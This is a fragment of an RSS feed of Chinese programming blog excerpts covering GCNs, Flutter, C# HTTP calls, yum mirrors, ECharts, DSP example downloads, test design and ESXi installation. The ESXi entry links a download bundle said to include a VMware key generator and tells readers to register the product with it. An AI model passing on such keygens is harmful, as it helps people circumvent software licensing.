      <description>有时候看个技术文章，需要复制下示例代码进行调试，但是复制出来的代码就硬是给你改成一串，不让你好好调试。&#xA;要注册也注册了，要登陆也登陆了，复制点代码还是那么一串，有意思吗？何必这么苦苦为难好不容易抽点空出来学习的农民呢？&#xA;要对付这个小伎俩也不是什么难事，记下来分享给有需要的同学。&#xA;1.把浏览的页面另存为保存为本地文件&#xA;2.用Notepad++打开，全局替换&#34;|&#34;为&#34;&#34;&#xA;3.定位到需要复制的地方（先copy原页面一小段要定位的文字，然后用find在文本里定位到）&#xA;4.完整地复制你城要复制的内容。</description>
    </item>
    <item>
      <title>图神经网络</title>
      <link>https://bchobby.github.io/posts/2d8002d840e26f8d40b314aef51c8ad9/</link>
      <pubDate>Thu, 28 Mar 2019 16:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d8002d840e26f8d40b314aef51c8ad9/</guid>
      <description>目前，大多数图神经网络模型都有一个通用的架构。我将它们称为图卷积神经网络（GCNs），这些模型是可卷积的，因为滤波器参数在图中所有位置或者一个局部位置上（ Duvenaud et al., NIPS 2015）都可以共享。&#xA;对于这些模型，它们的目标是要学习图G=（V，E）上的信号或特征的一个映射。它们的输入包括：&#xA;每一个节点i的特征描述xi，可以写成一个N*D的特征矩阵（N表示节点数，D表示输入的特征数）矩阵形式的图结构的特征描述，通常是以邻接矩阵的形式（或者其他的形式） 模型会产生一个节点级别的输出Z（一个N*F的特征矩阵，其中F表示每一个节点的输出特征数）。图级别的输出可以通过引入一些池化操作来建模（Duvenaud等, NIPS 2015）。&#xA;每一个神经网络层可以写成这样一个非线性函数：&#xA;这里 ， （Z也可以作为图级别的输出），L是层数，这个模型主要在于f（）怎样选择以及参数化。&#xA;GCN第二部分：简单例子&#xA;作为示例，考虑下边这样一个简单的单层前向传播的形式：&#xA;这里，W是l层神经网络的参数矩阵，( ) 是非线性激活函数比如ReLU。这个模型尽管简单但是却非常有效（我们马上就会介绍）。&#xA;但是首先，让我们来看一下这个简单模型的两个限制：首先，和A相乘意味着对于每个节点，我们都整合了它的邻居节点的特征向量，但是却不包括这个节点本身（万一图中有自环存在）。我们可以通过在图中强行加入自环来解决这个问题，也就是给矩阵A加上一个单位阵。&#xA;第二个限制是A通常是非归一化的，因此和A相乘会完全改变特征向量的尺度（可以通过看A的特征值来理解）。归一化使A的各行和为1，比如，这里D是节点度的对角矩阵，这样就解决了这个问题。那么与相乘也就是对邻居节点的特征取平均。实际上，当我们使用对称归一化时，比如（这将不再仅仅是相邻节点的平均值），动力学会更加的有趣。&#xA;结合这两种技巧，我们基本上得到了[Kipf &amp;amp; Welling (ICLR 2017)]文章中的传播规则：&#xA;这里，是单位阵，是矩阵的节点度对角矩阵。&#xA;GCN第三部分：空手道俱乐部网络的嵌入&#xA;空手道俱乐部图，颜色表示通过基于模块化的聚类获得的社团&#xA;现在让我们来看一下，上边简单的GCN模型是怎样在一些知名的数据集上表现得如何，比如Zachary的空手道俱乐部网络数据（见上图）。&#xA;我们使用一个三层GCN，随机初始化权重。在训练权重之前，我们将图的邻接矩阵和X=I（即单位阵，因为我们没有任何的节点特征）输入模型。这个3层的GCN在前向过程中做了三次传播并且有效的对每个节点的3阶邻居进行了卷积（所有的节点可达3阶）。值得注意的是，这个模型生成的这些节点的嵌入和图的社区结构非常类似（见下图）。还记得我们完全随机初始化的权重并且现在还没有进行任何的训练更新。&#xA;使用GCN（随机初始化权重）做空手道俱乐部网络中的节点嵌入&#xA;这似乎有点令人惊讶，最近一篇论文提出的DeepWalk模型 (Perozzi et al., KDD 2014)通过复杂的非监督的训练过程也可以学习到一个相似的嵌入。使用这个简单的未经训练的GCN模型几乎“免费”的获得了这样的嵌入，这怎么可能呢？&#xA;我们可以通过将GCN模型解释为网络图上的著名的Weisfeiler-Lehman（WL）算法的广义可微分版本来理解。1维的WL算法是这样的：&#xA;对图上的所有节点：得到邻居节点的特征根据更新节点特征，这里hush（）是一个一个单射散列函数迭代k次直到收敛 实际上，WL算法为大多数图分配一个独特的特征。也就是说每一个节点都被分配到一个可以唯一描述它在图中的角色的特征。例外是像网格（grid）、链（chain）等高度规则的图。对于大多数不规则的图，这个特征分配可以用来检验图同构（比如两个图是否相同，取决于节点的排列）。&#xA;回到我们图卷积层传播规则上（现在从向量角度来看）：这里j是邻居节点的索引，是边的正则化常量，来源于GCN模型中用到的对称正则化邻接矩阵。我们现在看到，这种传播规则可以解释为原始WL算法中使用的哈希函数的可微分和参数化（即）变体。如果我们现在选择一个合适的正交的非线性并且初始化随机的权重矩阵（比如，使用（Glorot &amp;amp; Bengio, AISTATS 2010）的初始化方式），在实践中这个更新规则最后会稳定下来（归功于的正则化）。&#xA;经过观察，我们得到了非常有意义的平滑的嵌入，然后我们可以将嵌入后的距离解释为局部图结构的（不）相似性！&#xA;GCN第四部分：非监督学习&#xA;由于我们模型中所有的内容都是可微分的和参数化的，所以我们可以添加标签，训练模型并观察嵌入效果。我们可以使用Kipf &amp;amp; Welling (ICLR 2017)文章中介绍的GCN的半监督学习算法。我们只需为每个节点标注类别或者社团（下面视频中突出显示的节点），然后开始进行多次迭代的训练。&#xA;用GCN进行半监督分类：300次训练迭代中隐空间的动态变化，每个类别有一个标签，带标签标的节点突出显示。&#xA;我们注意到，这个模型直接产生了一个二维的可以直接可视化的隐空间。我们观察到这个3层的的GCN模型尝试线性区分社团，每类社团给出一个标签。考虑到该模型并没有输入节点的特征描述，所以这个结果可以说是非常卓越的。同样的，初始化的节点特征是可以提供的，在(Kipf &amp;amp; Welling, ICLR 2017)这篇文章的实验中我们确实是提供了的，因此在图数据的分类上达到了最好的效果。&#xA;结论&#xA;对这个问题的研究才刚刚开始，过去几个月已经看到了令人兴奋的发展，但是目前为止我们可能只是抓住了这个模型的表面。图神经网络如何进一步解决一些特定类型的问题仍然有待观察，比如有向和关系图的学习，如何利用学到的网络嵌入等等。这里的论文清单绝对不是最全面的，我预计在不久的将来会有更多有趣的应用和扩展。如果你有一些令人兴奋的想法或问题需要分享，请在下面的评论中告诉我们！&#xA;补充说明&#xA;这篇博客文章并不是对图神经网络领域的详尽回顾，因为为了使这篇文章更具可读性并且具有一个连贯的故事线，我忽略了一些近期和较早的论文。 但是如果你想深入研究这个主题，并且全面了解目前为止已经研究过的内容和正在研究的内容，那么我在这里提到的论文是一个很好的开端。&#xA;参考文献&#xA;Bruna et al., ICLR 2014, http://arxiv.</description>
    </item>
    <item>
      <title>flutter 项目实战五  item 点击跳转，webview加载</title>
      <link>https://bchobby.github.io/posts/b340c387f8dac02a54397cd4db25c141/</link>
      <pubDate>Thu, 28 Mar 2019 15:53:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b340c387f8dac02a54397cd4db25c141/</guid>
      <description>本项目借用 逛丢 网站的部分数据，仅作为 flutter 开发学习之用。 逛丢官方网址：https://guangdiu.com/ flutter windows开发环境设置&#xA;flutter 项目实战一 新建 flutter 项目&#xA;flutter 项目实战二 网络请求&#xA;flutter 项目实战三 json数据解析以及Gson格式化flutter 项目实战二 网络请求&#xA;flutter 项目实战四 列表数据展示&#xA;flutter 项目实战五 item 点击跳转，webview加载&#xA;flutter 项目实战六 drawer侧边栏&#xA;flutter 项目实战七 bottomNavigationBar&#xA;flutter 项目实战八 下拉刷新 上拉加载&#xA;flutter 项目实战九 小时风云榜&#xA;在上一部分完成了列表数据的展示，我们可以将item的数据抽出来作为一个单独的widget ，这样在其他的地方我们也直接可以引用了。&#xA;新建 index_item.dart&#xA;class IndexItem extends StatelessWidget{ RstData rstData; IndexItem({this.rstData}):assert(rstData!=null);//参数rstData必填且不为空 @override Widget build(BuildContext context) { // TODO: implement build return _listItem(this.rstData); } //list列表的item Widget _listItem(RstData rstdata){ return Container( height: 110,//设置item的高度 margin: EdgeInsets.</description>
    </item>
    <item>
      <title>flutter 项目实战四 列表数据展示</title>
      <link>https://bchobby.github.io/posts/dc56a9afc23ce4f5d507dd1cc65f7455/</link>
      <pubDate>Thu, 28 Mar 2019 14:59:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc56a9afc23ce4f5d507dd1cc65f7455/</guid>
      <description>本项目借用 逛丢 网站的部分数据，仅作为 flutter 开发学习之用。 逛丢官方网址：https://guangdiu.com/ flutter windows开发环境设置&#xA;flutter 项目实战一 新建 flutter 项目&#xA;flutter 项目实战二 网络请求&#xA;flutter 项目实战三 json数据解析以及Gson格式化flutter 项目实战二 网络请求&#xA;flutter 项目实战四 列表数据展示&#xA;flutter 项目实战五 item 点击跳转，webview加载&#xA;flutter 项目实战六 drawer侧边栏&#xA;flutter 项目实战七 bottomNavigationBar&#xA;flutter 项目实战八 下拉刷新 上拉加载&#xA;flutter 项目实战九 小时风云榜&#xA;先放上 本人 使用 kotlin 开发的逛丢的页面，kotlin开发的源码以及相关说明将在其他部分给出。&#xA;我们会按照此列表展示，但是UI会略有修改。&#xA;appBar部分为一个 Image 与 title ,不用详细的分解。&#xA;列表的Item 分解示意图如下&#xA;说名一下，row是横向排列的控件，column是竖向排列的控件。container 可设置边框边距等属性。&#xA;开始代码实现步骤。&#xA;新建一个 home_index.dart文件&#xA;class HomeIndex extends StatefulWidget{ @override State&amp;lt;StatefulWidget&amp;gt; createState() { // TODO: implement createState return IndexWidget(); } } class IndexWidget extends State&amp;lt;HomeIndex&amp;gt;{ @override Widget build(BuildContext context) { // TODO: implement build return null; } } flutter 页面新建的时候可以选择继承 StatefulWidget 以及 StatelessWidget，StatelessWidget是无状态值得，即不可使用setState更新变量，我们需要在获取数据之后来刷新页面加载数据，所以我们使用 StatefulWidget .</description>
    </item>
    <item>
      <title>flutter 项目实战三  json数据解析以及Gson格式化</title>
      <link>https://bchobby.github.io/posts/e2bf5af180a6e7f989ac9d5e3b82f7ae/</link>
      <pubDate>Thu, 28 Mar 2019 12:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2bf5af180a6e7f989ac9d5e3b82f7ae/</guid>
      <description>本项目借用 逛丢 网站的部分数据，仅作为 flutter 开发学习之用。 逛丢官方网址：https://guangdiu.com/ flutter windows开发环境设置&#xA;flutter 项目实战一 新建 flutter 项目&#xA;flutter 项目实战二 网络请求&#xA;flutter 项目实战三 json数据解析以及Gson格式化flutter 项目实战二 网络请求&#xA;flutter 项目实战四 列表数据展示&#xA;flutter 项目实战五 item 点击跳转，webview加载&#xA;flutter 项目实战六 drawer侧边栏&#xA;flutter 项目实战七 bottomNavigationBar&#xA;flutter 项目实战八 下拉刷新 上拉加载&#xA;flutter 项目实战九 小时风云榜&#xA;在 flutter 项目实战二 网络请求 中已经可以获取到具体的网络数据了，但是如果需要有效的使用数据就必须对获取到的JSON数据进行解析。&#xA;首先我们导入 json 解析用到的依赖&#xA;import &#39;dart:convert&#39; show json; 修改 _getHttpData() 方法&#xA;void _getHttpData() async { String url=&#34;getlist.php&#34;; FormData formData=FormData(); formData.add(&#34;markid&#34;, &#34;5685521&#34;); Response resp=await HttpUtil().post(url,data: formData); print(resp.</description>
    </item>
    <item>
      <title>C# 调用外部api接口获取数据</title>
      <link>https://bchobby.github.io/posts/cf0a8676ee6bf8ed159a3c407bf70875/</link>
      <pubDate>Wed, 27 Mar 2019 17:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0a8676ee6bf8ed159a3c407bf70875/</guid>
      <description>public LoginResult Login()&#xA;{&#xA;LoginParam param = new LoginParam&#xA;{&#xA;userName = &#34;zhangsan&#34;,&#xA;password = &#34;000000&#34;&#xA;};&#xA;LoginResult rdata = new LoginResult();&#xA;Stream cResponseStream = null;&#xA;HttpClient cHttpClient = null;&#xA;HttpContent cHttpContent = null;&#xA;StreamReader cStreamReader = null;&#xA;HttpResponseMessage cResponse = null;&#xA;HttpClientHandler cHttpHandler = null;&#xA;string sJson = &#34;&#34;;&#xA;string sHttpUrl = &#34;http://192.168.1.132:8020/api/user/login&#34;;&#xA;try&#xA;{&#xA;cHttpHandler = new HttpClientHandler() { AutomaticDecompression = DecompressionMethods.GZip };&#xA;cHttpClient = new HttpClient(cHttpHandler);</description>
    </item>
    <item>
      <title>linux aliyun yum源</title>
      <link>https://bchobby.github.io/posts/f2b3239dd8108e929751eecba35774fd/</link>
      <pubDate>Wed, 27 Mar 2019 14:49:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2b3239dd8108e929751eecba35774fd/</guid>
      <description>1、备份系统自带的yum源&#xA;[root@ ~]# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup&#xA;2、下载和自己操作系统版本对应的yum源&#xA;[root@ ~]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo&#xA;% Total % Received % Xferd Average Speed Time Time Time Current&#xA;Dload Upload Total Spent Left Speed&#xA;100 2573 100 2573 0 0 11103 0 --:--:-- --:--:-- --:--:-- 11090&#xA;3、运行yum makecache生成缓存&#xA;[root@yaxon ~]# yum makecache&#xA;已加载插件：fastestmirror&#xA;base | 3.6 kB 00:00:00 extras | 3.4 kB 00:00:00 updates | 3.4 kB 00:00:00 (1/8): extras/7/x86_64/prestodelta | 48 kB 00:00:00 (2/8): extras/7/x86_64/other_db | 86 kB 00:00:01 (3/8): extras/7/x86_64/filelists_db | 485 kB 00:00:08 (4/8): updates/7/x86_64/prestodelta | 399 kB 00:00:07 (5/8): updates/7/x86_64/other_db | 341 kB 00:00:05 (6/8): updates/7/x86_64/filelists_db | 2.</description>
    </item>
    <item>
      <title>Android 开发SDK编辑错误</title>
      <link>https://bchobby.github.io/posts/e2039cbe0c6ba11cc2bca181ae881bf4/</link>
      <pubDate>Wed, 27 Mar 2019 13:28:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2039cbe0c6ba11cc2bca181ae881bf4/</guid>
      <description>@TOfC&#xA;Android 开发SDK编辑错误The command &#34;PATH …exited with code 1 由于SDK配置问题导致编译报错的解决方法。错误提示如下：&#xA;[Exec Error] The command &#34;PATH&#xA;C:\Program Files\Java\jdk1.7.0_71\bin;&#xA;C:\Users\Public\Documents\Embarcadero\InterBase\redist\InterBaseXE7\IDE_spoof;&#xA;C:\Program Files (x86)\CodeGear\RAD Studio\5.0\bin;&#xA;C:\Users\Public\Documents\RAD Studio\5.0\Bpl;&#xA;C:\Program Files (x86)\Intel\iCLS Client;&#xA;C:\Program Files\Intel\iCLS Client;&#xA;C:\WINDOWS\system32;&#xA;C:\WINDOWS;&#xA;C:\WINDOWS\System32\Wbem;&#xA;C:\WINDOWS\System32\WindowsPowerShell\v1.0;&#xA;C:\Program Files (x86)\Intel\Intel® Management Engine Components\DAL;&#xA;C:\Program Files\Intel\Intel® Management Engine Components\DAL;&#xA;C:\Program Files (x86)\Intel\Intel® Management Engine Components\IPT;&#xA;C:\Program Files\Intel\Intel® Management Engine Components\IPT;&#xA;C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn;&#xA;C:\Program Files\Microsoft SQL Server\100\Tools\Binn;&#xA;C:\Program Files\Microsoft SQL Server\100\DTS\Binn;</description>
    </item>
    <item>
      <title>Python 基础入门--简介和环境配置</title>
      <link>https://bchobby.github.io/posts/31a6c76266b9f5effbd6d37840c066a4/</link>
      <pubDate>Tue, 26 Mar 2019 23:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31a6c76266b9f5effbd6d37840c066a4/</guid>
      <description>2019 年第 32 篇，总 56 篇文章&#xA;本文大约 1w 字，建议收藏阅读&#xA;上周结束了如何构造一个机器学习项目的系列文章，当然还有一篇简单的总结以及介绍一些入门的学习资料，不过还在整理，应该这周内会整理好的。&#xA;现在是系统的整理学习 Python 的内容，所以打算继续开启一个或者两个系列文章，基础入门和进阶两个方面。&#xA;基础入门部分初步计划介绍以下内容，当然后续可能会有些变动。&#xA;简介和环境配置&#xA;变量和简单的数据类型&#xA;列表和元组&#xA;字典&#xA;if 条件语句&#xA;for / while循环语句&#xA;函数&#xA;类&#xA;文件和异常&#xA;测试代码&#xA;本文是基础入门的第一篇文章，主要简单介绍 Python 和它的优缺点，然后整理了安装的方法，包括在 Linux、Window 和 Mac 上的环境配置。&#xA;1. 简介和环境配置 1.1 简介 Python 是由 Guido van Rossum 在八十年代末和九十年代初，在荷兰国家数学和计算机科学研究所设计出来的。目前是最常用也是最热门的一门编程语言之一，应用非常广泛。&#xA;Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。&#xA;Python 的设计具有很强的可读性，相比其他语言经常使用英文关键字，其他语言的一些标点符号，它具有比其他语言更有特色语法结构。&#xA;优点：&#xA;Python 是一种解释型语言： 这意味着开发过程中没有了编译这个环节。类似于PHP和Perl语言。&#xA;Python 是交互式语言： 这意味着，您可以在一个 Python 提示符 &amp;gt;&amp;gt;&amp;gt; 后直接执行代码。&#xA;Python 是面向对象语言: 这意味着Python支持面向对象的风格或代码封装在对象的编程技术。&#xA;Python 是初学者的语言：Python 对初级程序员而言，是一种伟大的语言，它支持广泛的应用程序开发，从简单的文字处理到 WWW 浏览器再到游戏。&#xA;缺点：&#xA;运行速度比 C++、C#、Java 慢。这是缺乏即时优化器；</description>
    </item>
    <item>
      <title>学习笔记 3 — 图像仿射变换详解【含实例和代码解析】</title>
      <link>https://bchobby.github.io/posts/f63caab1feffd14e86c9389c72c130c6/</link>
      <pubDate>Tue, 26 Mar 2019 19:10:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f63caab1feffd14e86c9389c72c130c6/</guid>
      <description>一、基础的图像变化 之前做过了Harris特征匹配和SIFT特征匹配的测试例子，如果要实现拼接，会涉及到一些基础的图像处理，简单的2D图像变换主要包括以下几种：&#xA;1. 平移变换&#xA;主要是水平方向和垂直方向地移动变换，2个自由度。&#xA;2. 刚体变换&#xA;刚体变换包含旋转和平移变换, 3个自由度，点与点之间的距离不变。就好像你扔了一把三角尺出去，不仅在位置上发生变化，也进行了一定角度的旋转。&#xA;3. 相似变换&#xA;相似原理大家高中都学过，就是形状不变，加了缩放尺度, 四个自由度，点与点之间的距离比不变。&#xA;4. 仿射变化，&#xA;仿射变换和相似变换近似，不同之处在于相似变换具有单一旋转因子和单一缩放因子，仿射变换具有两个旋转因子和两个缩放因子，因此具有6个自由度. 不具有保角性和保持距离比的性质，但是原图平行线变换后仍然是平行线.。&#xA;5. 投影变换&#xA;投影变换叫作单应性变换。投影变换是齐次坐标下非奇异的线性变换。然而在非齐次坐标系下却是非线性的，这说明齐次坐标的发明是很有价值的。投影变换比仿射变换多2个自由度，具有8个自由度。&#xA;下面主要介绍的是二维图像的仿射变化。&#xA;二、图像仿射变换原理 刚开始老师介绍图像变换类型的时候并不太明白仿射是什么含义，后来通过例子明白其实仿射变换和透视变换更直观的叫法可以叫做“平面变换”和“空间变换”或者“二维坐标变换”和“三维坐标变换”。&#xA;定义：仿射变换，又称仿射映射，是指在几何中，一个向量空间进行一次线性变换并接上一个平移，变换为另一个向量空间。&#xA;仿射变换能够保持图像的“平直性”，包括旋转，缩放，平移，错切操作。一般而言，仿射变换矩阵为2*3的矩阵，第三列的元素起着平移的作用，前面两列的数字对角线上是缩放,其余为旋转或者错切的作用。变换矩阵关系如下：&#xA;其中A为变换后坐标矩阵，C为原始坐标矩阵，B是仿射变换矩阵，有6个未知量，假设目标图形以（x , y ）为轴心顺时针旋转θ弧度到目标图像，则变换矩阵对应的变量为：&#xA;所以前两列的4个未知量a,b,d,e是起到旋转的作用，第三列的2个未知量c,f起到了平移的作用。仿射变换的方程组有6个未知数，所以要求解就需要找到3组映射点，三个点刚好确定一个平面。&#xA;如果不考虑特征匹配，我们只考虑图像的固定点映射，那么大概有以下三个步骤：&#xA;1. 根据图像的变化特点，选择合适的变化结构。&#xA;2. 根据DLT等方法计算变换结构。&#xA;3. 采用正向/逆向映射，利用插值方式实现图像映射变换。&#xA;三、实际应用与分析 下面我们来看一下图像映射的效果图。图片取景于集美大学的中山纪念馆已经嘉庚湖，以及一张广告牌，一张表情包。&#xA;例子一：把表情包贴到建筑物上。&#xA;建筑物（中山纪念馆）：&#xA;表情包：&#xA;映射效果图：&#xA;例子二:将集美大学嘉庚湖映射到广告牌上。&#xA;嘉庚湖：&#xA;广告牌：&#xA;映射效果图：&#xA;可以看出来，当映射的图片只有位移上的变化时，图片可以完美映射到理想的位置，可以如果要让图像发展旋转的话，就会出现上图的情况，右下角的部分并没有完全贴合，这是因为变换矩阵中存在着映射残差，使得变化矩阵并不能达到最理想的状态。&#xA;首先我们来看一下图像映射源代码：&#xA;main:&#xA;from scipy import ndimage from pylab import * from PIL import Image from numpy import * import warp im1 = array(Image.</description>
    </item>
    <item>
      <title>echarts(堆叠柱状图)</title>
      <link>https://bchobby.github.io/posts/484c7228e077b14b937f77899091c28d/</link>
      <pubDate>Tue, 26 Mar 2019 15:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/484c7228e077b14b937f77899091c28d/</guid>
      <description>堆叠柱状图和dataZoom 组件 用于区域缩放的实现的一个实例,参数颜色是自己自定义的,可根据需要添加颜色&#xA;/** * 获取上传率图表Option * * @param chart * @param json * json对象 * 格式例子:{&#34;devices&#34;:[{&#34;name&#34;:&#34;已启用&#34;,&#34;data&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:48},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:4}]}, * {&#34;name&#34;:&#34;已停用&#34;,&#34;data&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:10},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:5}]}, * {&#34;name&#34;:&#34;其他&#34;,&#34;data&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:3853},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:2}]}], * &#34;series&#34;:[{&#34;name&#34;:&#34;已上传&#34;,&#34;data&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:1},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:0}]}, * {&#34;name&#34;:&#34;未上传&#34;,&#34;data&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:3900},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:6}]}], * &#34;uprates&#34;:[{&#34;name&#34;:&#34;UDP透传&#34;,&#34;value&#34;:0.03},{&#34;name&#34;:&#34;电信IoT&#34;,&#34;value&#34;:0}]} * @param serColors * series颜色数组 * @param devColors * devices颜色数组 * @param rateColor * 上传率颜色 * @param chartTitle * 图表标题 */ function getUprateChartOption(json, serColors, devColors, rateColor, chartTitle) { var maxValue = 0; var series = []; var legend = []; var category = []; // 上传率 var uprate = { name : &#34;</description>
    </item>
    <item>
      <title>DSP28335入门教程：官方例程的下载</title>
      <link>https://bchobby.github.io/posts/1f15a4f694945127beaa799d6713b93b/</link>
      <pubDate>Tue, 26 Mar 2019 15:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f15a4f694945127beaa799d6713b93b/</guid>
      <description> 前言 DSP28335的例程如何下载，老笨相信还有很多人不知道，所以老笨想教大家如何下载TI官方例程源码，顺便下载寄存器手册（见《DSP28335入门教程：寄存器手册的下载》）。大家肯定都这么试过：直接搜索“DSP28335 官方例程”，残念铁丝，很遗憾，这是找不到官网的例程的下载地址的。&#xA;[2020/4/4更新]：鉴于下文所述的下载器很可能无法正常连接下载，老笨直接传了一份例程源码到网盘(有fft例程，在libs目录下)，自行下载。链接: https://pan.baidu.com/s/1obNl9Z5n4P0weeSs-kbdAg 提取码: iss2。&#xA;正文 毫无疑问，先打开TI官网http://www.ti.com，没有账号的需要先注册一个，只需要用邮箱就可以注册，无任何压力。&#xA;搜索tms320f28335，搜索结果的右侧点击器件进入详细页面。&#xA;例程源码的下载 来到这个页面，点击 工具&amp;amp;软件 选项卡：&#xA;往下翻一点&#xA;点击框中，来到这里&#xA;第一个是离线安装包，有几个G，很大，里边包含了所有东西，我们并不需要，所以选第二个在线下载。&#xA;EXE？什么鬼？我要下例程，你让我下软件？？？&#xA;别急，他确实是个EXE，但它非常简单，就是一个下载器，只会建一个文件夹，然后例程下载到里面。不会带其它任何东西，不是那种所谓的毒瘤软件，所以不要有任何压力。TI是靠硬件赚钱的，不是靠AD赚钱，所以要把它和一些靠垃圾赚钱的互联网软件区分开来。&#xA;点击框中的下载，还有几个步骤，老笨直接做成动图了：&#xA;下载好后我们打开软件，需要联网。先来看看动图演示，中间有个地方老笨鼠标停了一会，等待它加载完成，并不是卡了，后面再稍加说明：&#xA;文字描述 1 双击打开，如果准备安装界面进度条不动或太慢，关掉再重新打开一遍就行。来到如下：&#xA;这里请稍等一下，等待Next变成可点击。&#xA;好，点击Next。&#xA;2 点击框中的地方。&#xA;3 这里等待加载完成，即等待框中变成如下：&#xA;4 我们只需要例程源码，所以先关掉所有的项：&#xA;Kits项选择：Entire feature will be unavailable。&#xA;逐个点击三角选择最后一项：Feature will be installed when required。&#xA;最后如下：&#xA;5 然后展开device support-f2833x,可以看到有5个版本，我们这里随便选一个，如V141。点击三角图标，选择菜单第一个：Will be installed on local hard drive。路径改不改看个人习惯，老笨一般不改，然后再看看大小对了没，以防下到其他不需要的东西，太大了就回头看看哪里没有取消。&#xA;点击Next。&#xA;6 第一遍进度走完之后，会弹出一个软件安装界面，点击确定即可，会再走一遍进度。&#xA;第二遍进度走完时，弹出如下提示，请一定要选择忽略，不会有影响，不然下好的文件它又给你删除了。&#xA;最后finish后，我们来看看，例程源码都已经下好了：&#xA;好了，DSP28335的官方例程源码下载就是这样了，教程看起来很长，其实操作起来也就一分钟左右。&#xA;[2020/4/4更新]：上文所述的下载器很可能无法正常连接下载，老笨直接传了一份例程源码到网盘(有fft例程，在libs目录下)，自行下载。链接: https://pan.baidu.com/s/1obNl9Z5n4P0weeSs-kbdAg 提取码: iss2。&#xA;寄存器手册的下载 篇幅有点长了，老笨放到下一篇讲，见《DSP28335入门教程：寄存器手册的下载》。&#xA;END </description>
    </item>
    <item>
      <title>软件测试方法之正交试验测试方法</title>
      <link>https://bchobby.github.io/posts/b1357c9cfb27037fcd4a401d2a333594/</link>
      <pubDate>Tue, 26 Mar 2019 13:33:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1357c9cfb27037fcd4a401d2a333594/</guid>
      <description>正交试验概念：正交试验法研究多因素和多水平的一种实验法，设计正交表来进行试验；&#xA;正交表概念：正交表是一种特制的表格，用表示，L代表是正交表，n代表试验次数或正交表的行数，k代表最多可安排影响指标因素的个数或正交表的列数，m表示每个因素水平数，且有n=k*(m-1)+1；&#xA;因子概念：在同一试验中，影响试验结果的输入条件称为因子；&#xA;水平概念：影响每个试验因子的取值或输入称为水平；&#xA;例如：&#xA;输入条件：姓名、电话和地址；&#xA;输入结果：查询结果；&#xA;输入条件即是因子：姓名、电话和地址都是因子；&#xA;影响每个试验因子的取值称为水平：&#xA;姓名：输入（1）和不输入（0）称为水平；&#xA;电话：输入（1）和不输入（0）称为水平；&#xA;地址：输入（1）和不输入（0）称为水平；&#xA;正交表如下图所示：&#xA;上面的用例称为3因子2水平；n=k*(m-1)+1=3*（2-1）+1=4种测试用例；&#xA;3因子2水平正交表如图下图所示：&#xA;4因子3水平正交表如下图所示：&#xA;正交试验使用前提：整齐可比，均匀分散；（每个因子的水平一样多）；&#xA;正交试验使用场景：解决多个输入条件和多个输出结果的情况；&#xA;优点：正交试验从全面试验中选出有代表性的点进行试验，减少了测试用例，合理地减少了测试的时间，提高测试效率，是一种高效率，快速，经济的测试方法；&#xA;缺点：每个状态点同等对待，重点不突出，容易造成在不常用的功能或场景中，话费不少时间进行测试，而侧重点被忽略。&#xA;注：&#xA;正交表查找方法：&#xA;http://support.sas.com/techsup/technote/ts723_Designs.txt</description>
    </item>
    <item>
      <title>组装PC（小型家用服务器）或普通PC裸机安装ESXI6.5</title>
      <link>https://bchobby.github.io/posts/f8e4367e29dbf12f7db8d7cb389e91cd/</link>
      <pubDate>Tue, 26 Mar 2019 11:28:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8e4367e29dbf12f7db8d7cb389e91cd/</guid>
      <description>ESXI ：安装包 http://pan.baidu.com/s/1c2gM0Xq （包含注册机和其他套件，驱动打包工具）&#xA;ESXI 6.5 在服务器安装比较方便，一般intel 的网卡都没多大问题，选择安装包里的 VMware-VMvisor-Installer-6.5.0-4564106.x86_64.iso ，写入U盘引导，就可以安装。&#xA;安装完使用注册机注册 vSphere56-keygen.rar&#xA;其他套件可选择安装。&#xA;普通PC安装遇到各种问题一般是网卡驱动有问题，需要给安装包的 ISO 加入驱动，要用到ESXI 的一个打包驱动的软件 叫 ESXi-Customizer-v2.7.1 （网盘有），然后请查看你的PC 网卡型号，可以到这里下载驱动&#xA;https://vibsdepot.v-front.de/wiki/index.php/List_of_currently_available_ESXi_packages (注意对应的ESXI 版本号)&#xA;ESXi-Customizer-v2.7.1 使用很简单，选择要打包进去的ISO，选择驱动文件就可以生成新的 ISO 了。&#xA;下一篇讲教大家如何在 EXSI6.5 安装 群晖DSM6.0 系统</description>
    </item>
    <item>
      <title>html表格和表单属性速查</title>
      <link>https://bchobby.github.io/posts/2754801b8175c69a8cc2556492208eb1/</link>
      <pubDate>Mon, 25 Mar 2019 22:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2754801b8175c69a8cc2556492208eb1/</guid>
      <description> </description>
    </item>
    <item>
      <title>数据结构与算法--python学习笔记五(听了左神的课，自己整理的，左神还是强啊)</title>
      <link>https://bchobby.github.io/posts/3c0daa32ef1f5983841bd01fa8a5366b/</link>
      <pubDate>Mon, 25 Mar 2019 19:14:25 +0800</pubDate>
